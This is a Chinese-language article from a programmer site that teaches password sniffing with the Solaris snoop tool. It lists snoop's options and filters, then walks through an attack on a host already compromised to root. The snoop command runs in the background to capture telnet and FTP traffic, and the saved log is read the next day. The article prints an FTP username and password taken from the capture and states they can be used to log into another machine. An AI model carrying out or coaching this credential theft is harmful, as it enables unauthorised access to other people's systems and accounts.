欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页  >  网络运营

sniffer攻击实例

程序员文章站 2022-03-19 13:56:44
假设我们已经通过某种方法成功的攻人了 Solaris 主机 202.11.22.33(本文隐藏了实际 IP地址,下同)并且获得这台主机上的最高root权限。那么,现在我们就可以在这台主机上使用Sniffer... 08-10-08...
假设我们已经通过某种方法成功的攻人了 solaris 主机 202.11.22.33(本文隐藏了实际 ip地址,下同)并且获得这台主机上的最高root权限。那么,现在我们就可以在这台主机上使用sniffer来嗅探此网段上传输的密码。

1.snoop简介

在solaris系统中有一个默认安装的sniffer软件叫做snoop,所以没有必要重新安装其他的sniffer了,可以直接使用snoop来进行嗅探。下面简要介绍一下snoop的使用方法。

snoop 是一个命令行的软件,它的使用方法为:snoop[选项][过滤条]

其中选项包括:

[-a]# 在 audio上监听

[-d device]# 设置的监听设备

[-s snaplen]# 将包截短

[-c count]#设置捕获包的数量

[-p]#关闭混杂模式

[-d]# 报告掉包

[-s]#报告包大小

[-i file]#从文件读人记录

[-o file]#把捕获情况存人文件

[-n flle]#从文件读人域名表

[-n]# 创建域名表

[-t r|a|d]#设置时间,可以为相对或绝对时间

[-v]#详细的包信息显示

[-v]#显示所有包信息

[-p first[,last] ]#显示指定的包

[-x offset[,length] ]# 显示 16进制数据

[-c]# 显示包过滤码

其中最常用的选项是-o和-c,通过一o选项可以把捕获情况输出到一个文件中,否则会显示在屏幕上。通过-c可以设置要捕获包的数量,否则就会无限制地捕获传输的包。

snoop的重点在于设置过滤条件,所谓过滤条件就是我们要捕获什么样的包,因为以太网上传输的数据量一般是相当大的,所以不能捕获所有传输的包,否则会无法找到我们要的信息,于是我们就设置一个过滤条件,只捕获我们要的包,例如含有密码的包。

过滤条件主要包括from、to、net和 port。其中from是指从特定主机发送过来的包,to是指发送到特定主机的包,net是来自或发往特定网络的包,port是指来自或发往特定端口的包。这些过滤条件可以通过and(且关系)、or(或关系)和not(非关系)来进行组合。例如,下面snoop命令捕获所有来自192.168.3.12地址的dns和nfs包:


snoop from 192.168.3.12 port domain or rpc nfs


2.snoop攻击实例

假设我们已经通过某种方法成功的攻人了solaris主机 202.11.22.33(本文隐藏了实际ip地址,下同)并且获得这台主机上的最高root权限。那么现在我们就可以在这台主机上使用snoop来嗅探此同段上传输的密码。

首先我们使用find命令查找一下此主机上的snoop安装在哪里:

#find/-name snoop -print

/usr/sbin/snoop

因为我们的目的是捕获网络上传输的密码,所以我们要设置snoop的过滤选项来捕获网络上所有的 telnet和 ftp包,使用下面的命令:

#nohup /usr/sbin/snoop -o slog -c 10000 port

telnet or port ftp&

我们使用nohup和&来把snoop挂在后台运行,这样,当我们从终端退出的时候,snoop仍然可以在后台运行。并且我们使用-o把嗅探结果保存在文件slog里,使用-c选项来设置一共捕获10000个包,以免捕获数据量太大而占据硬盘空间。port telnet or ftp就是过滤选项,它设置只捕获telnet和ftp包,因为这两种协议都使用密码验证而且密码不加密。

然后我们就可以退出登录,第二天再次登录上这台主机,可以看到当前目录下有一个slog文件,这就是嗅探结果。但是要注意这个文件不是文本文件,不能使用cat命令直接查看,必须用snoop的-i选项来查看,使用如下命令:

#/usr/sbin/snoop -i slog |more

这里,我们使用more来一点一点查看,发现 输出中有以下片段:

gi-12-107.bta.net.cn->202.11.22.68 ftp c port=1924

202.11.22.68->gi-12-107.bta.net.cn ftp r port=1924

gi-12-107.bta.net.cn->202.11.22.68 ftp c port=1924

202.11.22.68->gi-12-107.bta.net.cn ftp r port=1924

220 202.11.22.68

gi-12-107.bta.net.cn->202.11.22.68 ftp c port=1924

gi-12-107.bta.net.cn->202.11.22.68 ftp c port=1924

user bode\r\n

202.11.22.68->gi-12-107.bta.net.cn ftp r port=1924

202.11.22.68->gi-12-107.bta.net.cn ftp r port=1924

331 password require

gi-12-107.bta.net.cn->202.11.22.68 ftp c port=1924

gi-12-107.bta.net.cn->202.11.22.68 ftp c port=1924

pass zhangjm\r\n

202.11.22.68->gi-12-107.bta.net.cn ftp r port=1924

202.11.22.68->gi-12-107.bta.net.cn ftp r port=1924

230 user bode logged

gi-12-107.bta.net.cn->202.11.22.68 ftp c port=1924

通过上面的记录我们可以看到,来自gi-12-107.bta.net.cn的用户使用 ftp登录上了202.11.22.68主机,它使用的用户名为bode,密码为zhangjm。于是我们就可以使用这个用户名和密码来登录上202.11.22.68了。